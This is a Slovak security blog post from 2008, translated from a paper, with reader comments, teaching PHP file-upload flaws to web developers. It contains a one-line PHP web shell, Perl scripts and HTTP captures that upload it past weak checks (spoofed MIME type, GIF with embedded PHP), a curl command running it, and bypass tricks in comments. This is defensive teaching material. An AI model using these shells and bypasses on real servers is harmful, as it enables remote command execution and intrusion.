Upload súborov v PHP a nebezpečné GIF obrázky

09.07.2008 13:43 | blackhole

Pri preliezaní blogov som narazil na zaujímavý blogspot, ktorý priamo súvisí so zameraním BH (security). V diskusii som našiel odkaz na dokument, ktorý som sa rozhodol zvoľna preložiť (nakoľko počuť hlasy o otváraní sa BH širšiemu svetu, tak si myslím, že články v SK jazyku sú potrebné).

O čo teda v článku pôjde? Chcem osloviť hlavne mladých web developerov, ktorí dosiali taký stupeň znalostí, že sa rozhodli poskytnúť svojím návštevníkom možnosť uploadu súborov (primárne obrázkov) na svoj server. Nemusí ísť pritom hneď o fotoglériu, stačí ak niekto zriadi možnosť uploadu vlastného avatara a pod.

Zvládnuť túto úlohu a nezavliecť si do aplikácie bezpečnostné diery nie je jednoduchá úloha. Preto si predvedieme niekoľko príkladov uploadu súborov cez HTML formulár aj s ukážkou zraniteľnosti.
Pozn. neskúšajte tieto príklady na svojom platenom hostingu, využivajte localhost a LAMP (XAMP, WAMP a pod.).

Implementácia uploadu súborov v PHP
Obslúženie uploadu súborov v PHP pozostáva v podstate z dvoch krokov - spracovanie prijímaného súboru a jeho následné zobrazenie na HTML stránke. Oba tieto procesy môžu byť napadnuté útočníkom. Pozrime sa na najjednoduchší kód na spracovanie nahraného súboru:

upload1.php

<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
}
else {
  echo "File uploading failed.\n";
}
?>

Kód je celkom ľahko pochopiteľný. Užívateľ môže nahraný súbor nájsť napr. zadaním adresy
http://www.example.com/uploads/filename.gif
Na nahranie (upload) súboru je možné použiť napr. takýto HTML formulár:

<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/formdata">
  Select the file to upload: <input type="file" name="userfile">
  <input type="submit" name="upload" value="upload">
</form>

Útočník však vôbec nemusí použiť váš upload formulár na stránke, môže si napísať napr. PERL skript alebo použiť záchytnú proxy a modifikovať posielané údaje podľa svojích predstáv. Súbor upload1.php trpí závažnou bezpečnostnou dierou, ktorá umožňuje nahrávať na server súbory ľubovoľného typu (a teda aj súbory .php) do verejného adresára uploads/ v zložke web_root. Útočník môže na server jednoducho nahrať .php súbor, napr. s PHP shell-om a vykonávať tak ľubovoľné príkazy s privilégiami webového daemona. Príklad Jednoduchého PHP shellu môžete vidieť v nasledujúcej ukážke:

<?php
system($_GET['command']);
?>

Ak útočník uploadne takýto súbor na server, ktokoľvek môže vykonávať príkazy shellu zadaním napr. takejto adresy:
http://www.example.com/upload/shell.php?command=lubovolny_unix_prikaz

Pokročilejšie PHP shelly je možné nájsť rôzne po Internete. Potom je aj možné prezerať si ľubovoľné súbory na webe, vykonávať SQL requesty a pod. Teraz si ukážeme PERL skript, ktorý využíva upload1.php k uploadu súborov

upload1.pl

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client
$res = $ua->request(POST 'http://localhost/upload1.php', # send POST request
  Content_Type => 'form-data', # The content type is
  # multipart/form-data – the standard for form-based file uploads
  Content => [
    userfile => ["shell.php", "shell.php"], # The body of the
    # request will contain the shell.php file
    ],
  );
print $res->as_string(); # Print out the response from the server

Skript využíva knižnicu libwwwperl, ktorá sprístupňuje HTTP klienta. Pohľad na komunikáciu klienta so serverom, pri využití horeuvedeného PERL skriptu:

klient

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

server

HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Po úspešnom uploade môže útočník vykonávať ľubovoľné príkazy shellu na vzdialenom serveri

$ curl <a href="http://localhost/uploads/shell.php?command=id" title="http://localhost/uploads/shell.php?command=id">http://localhost/uploads/shell.php?command=id</a>
uid=81(apache) gid=81(apache) groups=81(apache)

cURL je HTTP klient pre príkazový riadok, dostupný pre *nix a Windows. Jedná sa o veľmi užitočný nástroj pre testovanie webových aplikáciíí. cURL je možné stiahnúť z adresy http://curl.haxx.se

Verifikácia content-type
Umožnenie spúšťania ľubovoľných príkazov a prezerania súborov nie je väčšinou v súlade s predstavami webmastra. Preto väčšina webových aplikácií implementuje nejaké ochranné mechanizmy na obranu. Pozrime sa na druhý príklad:

upload2.php

<?php
if($_FILES['userfile']['type'] != "image/gif") {
  echo "Sorry, we only allow uploading GIF images";
  exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
}
else {
  echo "File uploading failed.\n";
}
?>

V tomto prípade webmaster implementoval jednoduchú kontrolu typu nahrávaného súboru. Ak sa útočník pokúsi na server uploadnuť .php súbor nebude hneď úspešný:

klient

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain  <== ## toto nás zaujíma ##
<?php
system($_GET['command']);
?>
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

Ochrana zatiaľ odolala útoku. Nakoľko je však hodnota MIME typu nastavovaná klientom, je veľmi jedoduché ju zmanipulovať a ochranu obísť.

upload2.pl

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload2.php',
  Content_Type => 'form-data',
  Content => [
    userfile => ["shell.php", "shell.php", "Content-Type" =>
    "image/gif"],
    ],
  );
print $res->as_string();

Všimnite si, ako útočník zmanipuloval hodnotu Content-Type, tak aby PHP súbor súbor prešiel ochranou na serveri. Po spustení skriptu upload2.pl môžeme byť svedkami takejto klient/server komunikácie:

klient

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif  <== ## zmanipulovaná hodnota ##
<?php
system($_GET['command']);
?>
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Serverový skript upload2.php teraz s radosťou akceptuje podstrčený .php súbor, pretože prepokladá, že mu posielame obrázok GIF.

Overenie obrazového obsahu
Namiesto toho, aby webmaster dôveroval hlavičke Content-Type, môže verifikovať samotný súbor tak, aby mal istotu, že mu posielame súbor so skutočným obrázkom. PHP k tomu poskytuje funkciu getimagesize(), ktorej prototyp môžeme nájsť v manuáli:

array getimagesize ( string filename [, array &imageinfo] )

Funkcia vracia pole s informáciami o obrázku, voliteľne môže pomocou referencie získať z JPEG obrázkov značky JPG APP. My sa ale pozrime na pole, ktoré funkcia vracia pri všetkých obrázkoch.
- indexy 0 a 1 obsahujú informáciu o šírke a výške obrázku v pixeloch.
- index 2 obsahuje konštantu (číselnú) typu obrázku IMAGETYPE_XXX.
- index 3 obsahuje string, ktorý je možné použiť v HTML stránke ako atribúty width a height elementu <img>
- index 'mime' obsahuje infomáciu o MIME type obrázku v známej forme (napr. image/jpeg), tentokrát získanu samotným serverom a nie od klienta.

Ako vidíme, funkcia getimagesize() už poskytuje informáciu o MIME type obrázku, ktorej môžeme dôverovať - nie je možné ju na strane klienta zmodifikovať. Predvedieme si jej použitie na ďalšom príklade:

upload3.php

<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
  echo "Sorry, we only accept GIF and JPEG images\n";
  exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
}
else {
  echo "File uploading failed.\n";
}
?>

V tomto prípade, aj keď útočník odošle svoj shell.php súbor na server s modifikovaným Content-Type, skript upload3.php ho už nebude akceptovať, nakoľko si MIME typ zisťuje sám.

klient

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Po tomto by sa mohlo zdať, že webmaster môže konečne spokojne spať s istotou, že na server sa nemôže dostať nič, okrem obrázkov GIF a JPEG. Bohužiaľ tomu tak nie je. Je totiž možné, že súbor môže byť súčasne aj správny JPEG alebo GIF obrázok a zároveň aj PHP skript!

Väčšina obrázkových formátov umožňuje uloženie komentárov do svojho tela. Je teda možné vytvoriť perfektne valídny GIF súbor s PHP kódom vo svojom tele. Funkcia getimagesize() uvidí správny GIF súbor so skutočnými obrazovými údajmi, ale parser PHP uvidí vykonateľný PHP kód, vnútri nejakého binárneho bordelu. Z adresy http://www.scanit.be/uploads/php-fileupload-examples.zip si môžete stiahnuť takýto sample GIF súbor, v ktorom sa nachádza komentár <?php phpinfo() ?>. Na ďalšom príklade si ukážeme PERL skript, ktorý takto upravený GIF súbor posiela skriptu upload3.php ale so zmeneným menom, tak aby ho akceptoval parser PHP

upload3.pl

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
  Content_Type => 'form-data',
  Content => [
    userfile => ["crocus.gif", "crocus.php", "Content-Type" =>
    "image/gif"],
    ],
  );
print $res->as_string();

Skript skutočne zoberie GIF obrázok so škodlivým komentárom a pošle ho na server ako PHP skript. Po spustení skriptu upload3.pl dôjde k takejto klient/server komunikácii

klient

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Teraz môže útočník spustiť škodlivý kód zadaním adresy www.example.com/uploads/crocus.php

Ako vidíme, PHP engine ignoroval binárne dáta na začiatku súboru, potom našiel ale spustiteľný PHP kód a ten následne vykonal.

Verifikácia prípony súboru
Možno si položíte otázku, prečo neoverujeme príponu nahrávaného súboru? Ak zakážeme upload .php súborov, na server sa nemôže dostať škodlivý kód. Poďme preskúmať tento prístup k problému v ďalšom príklade:

upload4.php

<?php
$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
  if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
    echo "We do not allow uploading PHP files\n";
    exit;
  }
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
}
else {
  echo "File uploading failed.\n";
}
?>

Príkaz preg_match("/$item\$/i", $_FILES['userfile']['name']) testuje príponu súboru oproti blacklistu. Modifikátor "i" nastavuje regulárny výraz tak, aby nebol citlivý na veľkosť písmen (case-insensitive). Testujeme na všetky známe PHP prípony. Poďme sa pozrieť čo sa stane, ak sa útočník pokúsi pomocou tohto skriptu uložiť na server .php súbor:

klient

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files

Ak na server nahráme súbor s príponou .gif ...

klient

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

server

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Ak teraz požiadame server o uploadnutý súbor, PHP kód v jeho komentári sa nevykoná.

Zdá sa teda, že je koniec naším obavám o bezpečnosť aplikácie. Áno aj nie. V závislosti od konfigurácie servera, je možné že sa objaví server (hosting), ktorý je nastavený tak, aby súbory s príponami gif alebo jpg boli predávané PHP parseru. Táto situácia môže nastať vtedy, ak nejaká aplikácia na serveri dynamicky generuje obrázky (rôzne grafy a pod.). Aj keď je takáto konštelácia hviez veľmi nepravdepodobná, nie je tu istota, že sa situácia na vašom hostingu nemôže zmeniť (a o tom samozrejme nebudete informovaný).

K ideálnej ochrane je teda vhodné skombinovať postupy v skriptoch upload3.php a upload4.php (prip upload2.php). Toto už prenechávam na zdatných web-developerov.

pôvodný dokument obsahuje ešte niekoľko príkladov ochrany založenej na uploade súborov mimo web_root - mimo verejne dostupnú zložku. Nakoľko je u komerčných hostingov nastavená direktíva php_baseopendir, ktorá toto nedovoľuje a nakoľko sa mi už nechce, prenechávam štúdium tejto problematiky na vás.

Zoznam literatúry
- http://www.scanit.be/uploads/php-file-upload.pdf
- PHP manuál

cheers enjoy...

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 09.07.2008 | 20:16
      Avatar Nekroman   Používateľ

      velmi dobry clanok. ani len vo sne by ma nenapadlo ze tolkymi sposobmi sa da podvrhnut upload obrazkov :)

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 10:15
        Avatar blackhole   Návštevník

        Po precitani tohto clanku mi pride, ze niekto nepochopil aky problem chce riesit.
        Nechce spustat niekde php.
        OK, skusme to vyriesit na najvyssej urovni - urovni apache - vieme zmenit v adresaroch pravomoci pomocou .htaccess (alebo zakazat v konfiguracii apache)
        Co nam poskytuje pre takuto prilezitost php? php_admin_flag engine off
        Problem vyrieseny.

        • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 15:42
          Avatar blackhole   Návštevník

          No podla mna to je na najnizsej urovni, nie na najvyssej.
          Ale problemom pri tomto by bolo to, ze nie vsade mas povoleny .htacces, nie vzdy na to clovek nezabudne a vzdy je lepsie, ked sa bezpecnost riesi kompaktne (spolu s kodom aplikacie)
          ==
          Kto je bez bugu, nech prvý hodí Exception.

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 01:11
      Avatar wradgio   Používateľ

      Vdaka za dobry clanok. O tom poslednom som nevedel, hned som upravil kody :).

      ----------------------------------------------------------------
      I am a living, thinking entity that was created in the sea of information.

      ---------------------------------------------------------------- I am a living, thinking entity that was created in the sea of information.
    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 09:31
      Avatar blackhole   Návštevník

      Pekny clanok, aj ked neviem, koho by napadla kontrola pomocou mime typu a zistovanie typu pomocou getimagesize(). Mna nieco tak zlozite este nenapadlo a to som este ani nevedel o rizikach, takze viem, coho sa mam vyvarovat.

      Este by som dodal, ze minimalne par stranok robi kontrolu pripony suboru cez

      <?php
      if (stripos($_FILES['userfile']['name'],".gif") === FALSE) die("Neuploadujete gif!");
      ?>

      Na to je si treba tiez davat pozor, lebo staci dat do nazvu suboru to, co si predstavuju ako priponu a hned si mozeme dat priponu vlastnu.
      ____________________________________________________________
      Ked niecim nie som takmer uplne presvedceny, nepisem to. Vzdy uvadzajte vecne a najdolezitejsie argumenty, inak ma nepresvedcite. Ked sa mylim, opravte ma; rad sa poucim.

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 10:39
        Avatar blackhole_ventYl   Používateľ

        jo jo, kontrolovat obsah suboru mi pride, pokial s nim naozaj nechcem vyrabat nejake skarede veci, zbytocne.
        ako ochrana hostingu pred skodlivym kodom by sa mozno este dala pouzit "dezinfekcia suboru". napriklad v pripade GIF-u ho proste prehnat cez gd kniznicu. Otvorit, nacitat, ulozit do noveho a stary zahodit. U JPG formatu to uz bude trocha problematickejsie, lebo kazde prezutie suboru bude znamenat znizenie produktu, alebo zvysenie datoveho toku, ale tiez by sa to dalo pouzit.

        A podalsie. Dnes existuje mod_rewrite, cize sa mi zda extremne nizko pravdepodobne (rozumej: dement admin), ze by niekto nechal GIF subory prehanat cez PHP parser (uz len preto, ze retazec "<?" sa moze stat regulernym obsahom regulerneho GIFka, co by sposobilo, ze by to server nevedel normalne vykreslit). Nastavis si cez mod_rewrite trojriadkove pravidlo a mas vystarane.
        ---
        Cuchat s nadchou, to je ako sniffovat bez promiscu.

        --- Cuchat s nadchou, to je ako sniffovat bez promiscu.
        • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 12:11
          Avatar blackhole   Návštevník

          Chalani dik za odzovu, ako pisem je to len preklad. Kazdopadne, napr. aj znami PHP guru Jakub Vrana, prezentuje kontrolu cez getimagesize().

          ----------------------
          Ja len v dobrom.

        • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 11:43
          Avatar blackhole   Návštevník

          Spomenul som si na jednu zranitelnost v IE a tvoje riesenie (prehnat to cez gd kniznicu) je vlastne jedine bezpecne riesenie. Totiz text, ktory je obklopeny binarnymi datami sa moze vykonat nielen v PHP parseri ako PHP skript, ale vykona sa nezavisle od koncovky aj v IE. To znamena, ze nejake XSS je v IE mozne aj pomocou obrazku.
          ____________________________________________________________
          Ked niecim nie som takmer uplne presvedceny, nepisem to. Vzdy uvadzajte vecne a najdolezitejsie argumenty, inak ma nepresvedcite. Ked sa mylim, opravte ma; rad sa poucim.

          • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 17:38
            Avatar blackhole_ventYl   Používateľ

            No hej, ked das src na javascript nasmerovany trebars na JPG subor, v ktorom bude javascript, IE ho v pohode vykona, ale nebude dufam zut nieco, co je do webu includnute ako obrazok...

            ---
            Cuchat s nadchou, to je ako sniffovat bez promiscu.

            --- Cuchat s nadchou, to je ako sniffovat bez promiscu.
            • Re: Upload súborov v PHP a nebezpečné GIF obrázky 12.07.2008 | 09:37
              Avatar blackhole   Návštevník

              Neviem, ci som to presne pochopil, ja IE nemam, tak nech to ludia s IE skusia
              http://0x000000.com/images/aye.png
              Ak to nepojde hned, tak skuste ulozit, otvorit ulozene a este co vas napadne.

              Nemalo by to obsahovat ziaden skodlivy kod, len jeden alert v -e.
              ____________________________________________________________
              Ked niecim nie som takmer uplne presvedceny, nepisem to. Vzdy uvadzajte vecne a najdolezitejsie argumenty, inak ma nepresvedcite. Ked sa mylim, opravte ma; rad sa poucim.

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 01:31
        Avatar blackhole_tommyhot   Používateľ

        Zistovanie typu obrazku pomocu getimagesize(); je bezna vec a videl som ju pouzivat v niekolkych CMS (momentalne si spomeniem len na clan CMS - dzcp.de)
        ----------
        tommyhot@hackingmachine:~$ microsoft &> /dev/null

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 28.08.2008 | 11:28
        Avatar blackhole   Návštevník

        Zdravím, tak som chcel zabezpečenie uploadu súboru pomocou scriptu:
        if($_FILES['userfile']['type'] != "image/jpeg") {
        echo "Sorry, we only allow uploading JPG images";
        exit;
        }
        všetko v pohode funguje, ale len v FF a Opere v IE to nerozoznáva JPG súbory, neviete čo s tým?
        tomi

        • Re: Upload súborov v PHP a nebezpečné GIF obrázky 28.08.2008 | 11:57
          Avatar blackhole   Návštevník

          Hlavne to vobec nieje zabezpecene, do toho type-u ti mozem napisat aj zivotopis...
          ==
          The only reason for time is so that everything doesn't happen at once.
          Albert Einstein

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 10:19
      Avatar blackhole   Návštevník

      Co sa tyka webhostingov a (ne)moznosti ukladat obrazky mimo webroot, tak ma napada riesenie ukladat uploadovane subory do adresara, kam je pristup zamedzeny pomocou .htaccess (Deny from all).
      Ale niektore hostingy maju pristup aj mimo webroot, napr.:
      /webroot/domena.sk/www
      /webroot/domena.sk/wap
      /webroot/domena.sk/iny_virtualhost
      a vsetky virtualhosty maju open_basedir nastaveny na /webroot/domena.sk/, takze sa tam da spravit adresar, ktory nebude pristupny cez web, ale cez php ano.

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 10:45
      Avatar blackhole   Návštevník

      jj, pekny clanok.
      ten shell mi dako nesiel. Neviem preco. Ale zvysok som si skusil aj na jednom vlastnom uploade.
      Diera v diere :)

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 10.07.2008 | 11:04
        Avatar blackhole_ventYl   Používateľ

        a to si predstav, ze by si tam este uploadol nejaky deravy shell :))
        ---
        Cuchat s nadchou, to je ako sniffovat bez promiscu.

        --- Cuchat s nadchou, to je ako sniffovat bez promiscu.
    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 13:28
      Avatar Emkei   Používateľ

      o nezabezpecenem uploadu by se dala napsat kniha. nejcasteji se setkavam s pripady, kdy programator vyuzil blacklistu namisto whitelistu a ke kontrole pouzil jednu z case sensitive php funkci, staci pak uploadovat soubor se jmenem script.PHP a problem je na svete. jindy resi programatori situaci tim zpusobem, ze v dane slozce jednoduse vypnou parsovani PHP kodu, aby tak mohli uzivatele uploadovat na server cokoliv a oni se nemuseli starat o samotnou bezpecnost. neuvedomuji si tak ale, ze utocnik muze nahrat zaroven i konfiguracni soubor .htaccess a parsovani PHP si v teto slozce opetovne povolit.
      programatori by meli v prvni rade pochopit, ze pouzivani blacklistu namisto whitelistu je hloupost a pokud chteji kontrolovat pravost uploadovanych souboru pomoci MIME typu (nebo fce getimagesize()), pak je nezbytne nutna i kontrola suffixu, a to na zaklade whitelistingu.
      existuje i dalsi nebezpeci, na ktere je treba dbat a pocitat s nimi. kdyz se napriklad podivame, jakou priponu muze vlastnit obrazek typu image/jpeg, pak zjistime, ze je to: .jpg, .jpe, .jpeg a .jfif. PHP rozpozna spravne vsechny tyto pripony, apache vsak posledni jmenovany suffix nezna! pokud tedy utocnik uploaduje obrazek s php kodem, ktery bude pojmenovany image.php.jfif, pres PHP kontrolu jednoduse projde (povazuje soubor za obrazek), ale jelikoz apache nezna priponu .jfif, podiva se na predchozi .php a kod bez milosti vykona.
      tech rizik existuje bezpocet. jak jsem napsal v uvodu sveho prispevku, o nebezpecnem uploadu by se dala napsat kniha. muj nazor na vec je takovy, ze neni duvod vymyslet nic komplikovaneho, nejlepsim zpusobem ochrany vzdycky byla a bude kontrola suffuxu na whitelistu.

      ps: ta direktiva se nejmenuje php_baseopendir, ale open_basedir.

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 11.07.2008 | 15:53
      Avatar blackhole   Návštevník

      Ked som este robil PHP, uploady som riesil uploadom do adresara mimo wwwroot, ale s vygenerovanym menom. V databaze som mal potom ulozene ID, meno suboru (zabranil som tym okrem tohoto problemu aj duplikovanym suborom), MIME typ a dalsie detaily. K suboru sa cez http dalo dostat pomocou php skriptu, ktoremu sa posunul identfikator obrazku.
      Toto nieje najoptimalnejsie riesenie z hladiska vykonu aplikacie, ale na stredne pouzivany web je to uplne v poriadku. Navyse je mozne do servovania obrazkov/suborov pridat autorizaciu...
      ==
      Kto je bez bugu, nech prvý hodí Exception.

      • Re: Upload súborov v PHP a nebezpečné GIF obrázky 22.08.2008 | 09:46
        Avatar blackhole   Návštevník

        Velmi dobry článok, by som si nikdy nemyslel ze upload je tak zranitelny,pre mna ako zacinajuceho PHP a MySQL programator je to uzitocni clanok ;-)

    • Re: Upload súborov v PHP a nebezpečné GIF obrázky 16.03.2009 | 10:38
      Avatar blackhole   Návštevník

      Myslím že by bolo ešte vhodné spomenúť ktoré prípony sú nebezpečné, teda ktoré prípony treba filtrovať.

      Mňa napadá php, php2, php3, php4, php5, php6, php7, php8 (aj pre budúcnosť), htm, html. Ktoré ešte ? js, asp, .htaccess ? Je ten zoznam vôbec konečný ?

      Asi je jednoduchšie spraviť whitelist pre súbory jpg, jpeg, gif, bmp, zip, rar, txt, doc, pps ... ?